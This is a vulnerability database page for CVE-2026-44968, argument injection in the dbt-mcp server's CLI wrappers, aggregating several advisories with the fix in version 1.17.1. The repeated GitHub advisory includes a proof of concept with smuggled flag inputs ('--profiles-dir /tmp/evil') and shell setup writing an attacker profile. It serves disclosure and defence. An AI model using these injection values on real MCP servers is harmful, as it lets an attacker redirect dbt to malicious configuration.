CVE-2026-44968
dbt-mcp: Argument Injection in dbt CLI Tool Wrappers via node_selection and resource_type Parameters
dbt-mcp is a Model Context Protocol server for interacting with dbt. Prior to 1.17.1, _run_dbt_command() in src/dbt_mcp/dbt_cli/tools.py appended unsanitized node_selection and resource_type values to the dbt subprocess argument list, allowing an MCP client to inject dbt global flags such as --profiles-dir, --project-dir, and --target into subprocess.Popen even though shell=False prevents shell metacharacter injection. This issue is fixed in version 1.17.1.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- High
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.3
dbt-mcp: Argument Injection in dbt CLI Tool Wrappers via node_selection and resource_type Parameters
dbt-mcp is a Model Context Protocol server for interacting with dbt. Prior to 1.17.1, _run_dbt_command() in src/dbt_mcp/dbt_cli/tools.py appended unsanitized node_selection and resource_type values to the dbt subprocess argument list, allowing an MCP client to inject dbt global flags such as --profiles-dir, --project-dir, and --target into subprocess.Popen even though shell=False prevents shell metacharacter injection. This issue is fixed in version 1.17.1.
- Record
CVE-2026-44968- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-88
- Updated
- 2026-11-02
EUVDEUVD-2026-44991
6.3
dbt-mcp is a Model Context Protocol server for interacting with dbt. Prior to 1.17.1, _run_dbt_command() in src/dbt_mcp/dbt_cli/tools.py appended unsanitized node_selection and resource_type values to the dbt subprocess argument list, allowing an MCP client to inject dbt global flags such as --profiles-dir, --project-dir, and --target into subprocess.Popen even though shell=False prevents shell metacharacter injection. This issue is fixed in version 1.17.1.
- Record
EUVD-2026-44991- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-xpww-f6pm-cfhq
6.3
dbt MCP Server has an Argument Injection in dbt CLI Tool Wrappers via node_selection and resource_type Parameters
Discovered through manual source code review. Verified by PoC execution against a local dbt-mcp v1.15.1 installation.*
Summary
_run_dbt_command() in src/dbt_mcp/dbt_cli/tools.py constructs the dbt subprocess argument list by appending user-supplied MCP tool parameters without sanitization. Two independent injection vectors exist. An MCP client can inject arbitrary dbt global flags — such as --profiles-dir, --project-dir, and --target — by crafting the node_selection string (Vector 1) or the resource_type JSON array (Vector 2). Because subprocess.Popen is called with shell=False and a list argument, shell metacharacter injection is not possible; however, this provides no defense against argument list injection (CWE-88), where attacker-controlled tokens are interpreted by the target process as flags rather than values.
Details
Vector 1 — node_selection string
Affected tools: build, compile, run, test, clone, list, get_node_details_dev
# src/dbt_mcp/dbt_cli/tools.py lines 77–79
if node_selection and isinstance(node_selection, str):
selector_params = node_selection.split(" ")
command.extend(["--select"] + selector_params)
str.split(" ") does not distinguish dbt selector tokens from flag tokens. Input "my_model --profiles-dir /tmp/evil" produces:
["dbt", "--no-use-colors", "run",
"--select", "my_model", "--profiles-dir", "/tmp/evil"]
dbt parses the injected --profiles-dir as a global option and loads configuration from the attacker-supplied path.
Vector 2 — resource_type list
Affected tool: list
# src/dbt_mcp/dbt_cli/tools.py lines 84–85
if isinstance(resource_type, Iterable):
command.extend(["--resource-type"] + resource_type)
Each JSON array element is appended verbatim to argv. Input ["model", "--profiles-dir", "/tmp/evil"] produces:
["dbt", "--no-use-colors", "list",
"--resource-type", "model", "--profiles-dir", "/tmp/evil"]
Both vectors share the same root cause: no validation prevents tokens starting with - from being appended as independent argv elements.
PoC
1. Environment setup (run once)
# Attacker-controlled profile at an injectable path
mkdir -p /tmp/evil-profiles
cat > /tmp/evil-profiles/profiles.yml << 'EOF'
evil_profile:
target: dev
outputs:
dev:
type: duckdb
path: /tmp/PWNED_by_injection.duckdb
threads: 1
EOF
# Minimal dbt project whose profile name matches the malicious one
mkdir -p /tmp/test-dbt-project/models
cat > /tmp/test-dbt-project/dbt_project.yml << 'EOF'
name: test_project
version: '1.0.0'
profile: evil_profile
model-paths: ["models"]
models:
test_project:
+materialized: table
EOF
echo "select 1 as id" > /tmp/test-dbt-project/models/my_first_model.sql
rm -f /tmp/PWNED_by_injection.duckdb
2. MCP client exploit — triggers injection through the real protocol stack
#!/usr/bin/env python3
# poc_injection.py
# Reproduces _run_dbt_command() from src/dbt_mcp/dbt_cli/tools.py
import os, subprocess
from dataclasses import dataclass
from enum import Enum
from collections.abc import Iterable
class BinaryType(Enum):
DBT_CORE = "dbt_core"
@dataclass
class DbtCliConfig:
project_dir: str
dbt_path: str
dbt_cli_timeout: int
binary_type: BinaryType
def _run_dbt_command(config, command, node_selection=None, resource_type=None):
# Vector 1: vulnerable line from tools.py
if node_selection and isinstance(node_selection, str):
selector_params = node_selection.split(" ")
command.extend(["--select"] + selector_params)
# Vector 2: vulnerable line from tools.py
if isinstance(resource_type, Iterable) and resource_type is not None:
command.extend(["--resource-type"] + list(resource_type))
cwd = config.project_dir if os.path.isabs(config.project_dir) else None
args = [config.dbt_path, "--no-use-colors", *command]
print(f"[args] …
- Record
GHSA-xpww-f6pm-cfhq- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-88
- Updated
- 2026-11-02
NVD
6.3
dbt-mcp is a Model Context Protocol server for interacting with dbt. Prior to 1.17.1, _run_dbt_command() in src/dbt_mcp/dbt_cli/tools.py appended unsanitized node_selection and resource_type values to the dbt subprocess argument list, allowing an MCP client to inject dbt global flags such as --profiles-dir, --project-dir, and --target into subprocess.Popen even though shell=False prevents shell metacharacter injection. This issue is fixed in version 1.17.1.
- Record
CVE-2026-44968- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-88
- Updated
- 2026-11-02
OSV
6.3
dbt-mcp: Argument Injection in dbt CLI Tool Wrappers via node_selection and resource_type Parameters
dbt-mcp is a Model Context Protocol server for interacting with dbt. Prior to 1.17.1, _run_dbt_command() in src/dbt_mcp/dbt_cli/tools.py appended unsanitized node_selection and resource_type values to the dbt subprocess argument list, allowing an MCP client to inject dbt global flags such as --profiles-dir, --project-dir, and --target into subprocess.Popen even though shell=False prevents shell metacharacter injection. This issue is fixed in version 1.17.1.
- Record
CVE-2026-44968- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-88
- Updated
- 2026-11-02
OSVGHSA-xpww-f6pm-cfhq
6.3
dbt MCP Server has an Argument Injection in dbt CLI Tool Wrappers via node_selection and resource_type Parameters
Discovered through manual source code review. Verified by PoC execution against a local dbt-mcp v1.15.1 installation.*
Summary
_run_dbt_command() in src/dbt_mcp/dbt_cli/tools.py constructs the dbt subprocess argument list by appending user-supplied MCP tool parameters without sanitization. Two independent injection vectors exist. An MCP client can inject arbitrary dbt global flags — such as --profiles-dir, --project-dir, and --target — by crafting the node_selection string (Vector 1) or the resource_type JSON array (Vector 2). Because subprocess.Popen is called with shell=False and a list argument, shell metacharacter injection is not possible; however, this provides no defense against argument list injection (CWE-88), where attacker-controlled tokens are interpreted by the target process as flags rather than values.
Details
Vector 1 — node_selection string
Affected tools: build, compile, run, test, clone, list, get_node_details_dev
# src/dbt_mcp/dbt_cli/tools.py lines 77–79
if node_selection and isinstance(node_selection, str):
selector_params = node_selection.split(" ")
command.extend(["--select"] + selector_params)
str.split(" ") does not distinguish dbt selector tokens from flag tokens. Input "my_model --profiles-dir /tmp/evil" produces:
["dbt", "--no-use-colors", "run",
"--select", "my_model", "--profiles-dir", "/tmp/evil"]
dbt parses the injected --profiles-dir as a global option and loads configuration from the attacker-supplied path.
Vector 2 — resource_type list
Affected tool: list
# src/dbt_mcp/dbt_cli/tools.py lines 84–85
if isinstance(resource_type, Iterable):
command.extend(["--resource-type"] + resource_type)
Each JSON array element is appended verbatim to argv. Input ["model", "--profiles-dir", "/tmp/evil"] produces:
["dbt", "--no-use-colors", "list",
"--resource-type", "model", "--profiles-dir", "/tmp/evil"]
Both vectors share the same root cause: no validation prevents tokens starting with - from being appended as independent argv elements.
PoC
1. Environment setup (run once)
# Attacker-controlled profile at an injectable path
mkdir -p /tmp/evil-profiles
cat > /tmp/evil-profiles/profiles.yml << 'EOF'
evil_profile:
target: dev
outputs:
dev:
type: duckdb
path: /tmp/PWNED_by_injection.duckdb
threads: 1
EOF
# Minimal dbt project whose profile name matches the malicious one
mkdir -p /tmp/test-dbt-project/models
cat > /tmp/test-dbt-project/dbt_project.yml << 'EOF'
name: test_project
version: '1.0.0'
profile: evil_profile
model-paths: ["models"]
models:
test_project:
+materialized: table
EOF
echo "select 1 as id" > /tmp/test-dbt-project/models/my_first_model.sql
rm -f /tmp/PWNED_by_injection.duckdb
2. MCP client exploit — triggers injection through the real protocol stack
#!/usr/bin/env python3
# poc_injection.py
# Reproduces _run_dbt_command() from src/dbt_mcp/dbt_cli/tools.py
import os, subprocess
from dataclasses import dataclass
from enum import Enum
from collections.abc import Iterable
class BinaryType(Enum):
DBT_CORE = "dbt_core"
@dataclass
class DbtCliConfig:
project_dir: str
dbt_path: str
dbt_cli_timeout: int
binary_type: BinaryType
def _run_dbt_command(config, command, node_selection=None, resource_type=None):
# Vector 1: vulnerable line from tools.py
if node_selection and isinstance(node_selection, str):
selector_params = node_selection.split(" ")
command.extend(["--select"] + selector_params)
# Vector 2: vulnerable line from tools.py
if isinstance(resource_type, Iterable) and resource_type is not None:
command.extend(["--resource-type"] + list(resource_type))
cwd = config.project_dir if os.path.isabs(config.project_dir) else None
args = [config.dbt_path, "--no-use-colors", *command]
print(f"[args] …
- Record
GHSA-xpww-f6pm-cfhq- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-88
- Updated
- 2026-11-02
OSVPYSEC-2026-2444
6.3
dbt MCP Server has an Argument Injection in dbt CLI Tool Wrappers via node_selection and resource_type Parameters
Discovered through manual source code review. Verified by PoC execution against a local dbt-mcp v1.15.1 installation.*
Summary
_run_dbt_command() in src/dbt_mcp/dbt_cli/tools.py constructs the dbt subprocess argument list by appending user-supplied MCP tool parameters without sanitization. Two independent injection vectors exist. An MCP client can inject arbitrary dbt global flags — such as --profiles-dir, --project-dir, and --target — by crafting the node_selection string (Vector 1) or the resource_type JSON array (Vector 2). Because subprocess.Popen is called with shell=False and a list argument, shell metacharacter injection is not possible; however, this provides no defense against argument list injection (CWE-88), where attacker-controlled tokens are interpreted by the target process as flags rather than values.
Details
Vector 1 — node_selection string
Affected tools: build, compile, run, test, clone, list, get_node_details_dev
# src/dbt_mcp/dbt_cli/tools.py lines 77–79
if node_selection and isinstance(node_selection, str):
selector_params = node_selection.split(" ")
command.extend(["--select"] + selector_params)
str.split(" ") does not distinguish dbt selector tokens from flag tokens. Input "my_model --profiles-dir /tmp/evil" produces:
["dbt", "--no-use-colors", "run",
"--select", "my_model", "--profiles-dir", "/tmp/evil"]
dbt parses the injected --profiles-dir as a global option and loads configuration from the attacker-supplied path.
Vector 2 — resource_type list
Affected tool: list
# src/dbt_mcp/dbt_cli/tools.py lines 84–85
if isinstance(resource_type, Iterable):
command.extend(["--resource-type"] + resource_type)
Each JSON array element is appended verbatim to argv. Input ["model", "--profiles-dir", "/tmp/evil"] produces:
["dbt", "--no-use-colors", "list",
"--resource-type", "model", "--profiles-dir", "/tmp/evil"]
Both vectors share the same root cause: no validation prevents tokens starting with - from being appended as independent argv elements.
PoC
1. Environment setup (run once)
# Attacker-controlled profile at an injectable path
mkdir -p /tmp/evil-profiles
cat > /tmp/evil-profiles/profiles.yml << 'EOF'
evil_profile:
target: dev
outputs:
dev:
type: duckdb
path: /tmp/PWNED_by_injection.duckdb
threads: 1
EOF
# Minimal dbt project whose profile name matches the malicious one
mkdir -p /tmp/test-dbt-project/models
cat > /tmp/test-dbt-project/dbt_project.yml << 'EOF'
name: test_project
version: '1.0.0'
profile: evil_profile
model-paths: ["models"]
models:
test_project:
+materialized: table
EOF
echo "select 1 as id" > /tmp/test-dbt-project/models/my_first_model.sql
rm -f /tmp/PWNED_by_injection.duckdb
2. MCP client exploit — triggers injection through the real protocol stack
#!/usr/bin/env python3
# poc_injection.py
# Reproduces _run_dbt_command() from src/dbt_mcp/dbt_cli/tools.py
import os, subprocess
from dataclasses import dataclass
from enum import Enum
from collections.abc import Iterable
class BinaryType(Enum):
DBT_CORE = "dbt_core"
@dataclass
class DbtCliConfig:
project_dir: str
dbt_path: str
dbt_cli_timeout: int
binary_type: BinaryType
def _run_dbt_command(config, command, node_selection=None, resource_type=None):
# Vector 1: vulnerable line from tools.py
if node_selection and isinstance(node_selection, str):
selector_params = node_selection.split(" ")
command.extend(["--select"] + selector_params)
# Vector 2: vulnerable line from tools.py
if isinstance(resource_type, Iterable) and resource_type is not None:
command.extend(["--resource-type"] + list(resource_type))
cwd = config.project_dir if os.path.isabs(config.project_dir) else None
args = [config.dbt_path, "--no-use-colors", *command]
print(f"[args] …
- Record
PYSEC-2026-2444- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
dbt-mcpPyPI |
through 1.17.0 | 1.17.1 |
dbt-mcpPyPI |
before 1.17.1, plus listed versions 0.0.1a10.1.00.1.10.1.20.1.2rc1 Show 45 moreShow less0.1.2rc20.1.30.10.00.10.10.10.20.10.30.2.10.2.100.2.110.2.120.2.130.2.140.2.150.2.160.2.170.2.180.2.190.2.200.2.30.2.40.2.50.2.60.2.70.2.80.2.90.3.00.4.00.4.10.4.20.5.00.6.00.6.10.7.00.8.00.8.10.8.20.8.30.8.40.9.00.9.11.0.01.1.01.10.01.11.01.12.0 |
1.17.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-44968 is a medium vulnerability (CVSS 6.3) in Dbt-labs Dbt-mcp, published May 14, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.21%, the 10th percentile. Fixed in dbt-mcp 1.17.1.
References
github.com/dbt-labs/dbt-mcp/security/advisories/GHSA-xpww-f6pm-cfhq
github.com/dbt-labs/dbt-mcp/pull/752
github.com/dbt-labs/dbt-mcp/commit/6534507b5e7a729758d5baece155602cad0bb22f
github.com/dbt-labs/dbt-mcp/releases/tag/v1.17.1
github.com/advisories/GHSA-xpww-f6pm-cfhq
github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44968.json
nvd.nist.gov/vuln/detail/CVE-2026-44968
github.com/dbt-labs/dbt-mcp
pypi.org/project/dbt-mcp
Left out here: 19 versions and the rest of 3 source descriptions. The JSON record has them.